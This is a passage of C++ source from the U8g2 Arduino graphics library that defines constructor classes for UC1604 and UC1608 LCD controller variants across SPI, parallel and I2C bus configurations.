  u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_6800 : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_8080 : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_6800 : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_8080 : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_6800 : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_8080 : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1604_JLX19264_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1604_JLX19264_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1604_JLX19264_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1604_JLX19264_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1604_i2c_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_6800 : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_8080 : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_6800 : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_8080 : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_6800 : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_8080 : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_6800 : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_8080 : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass 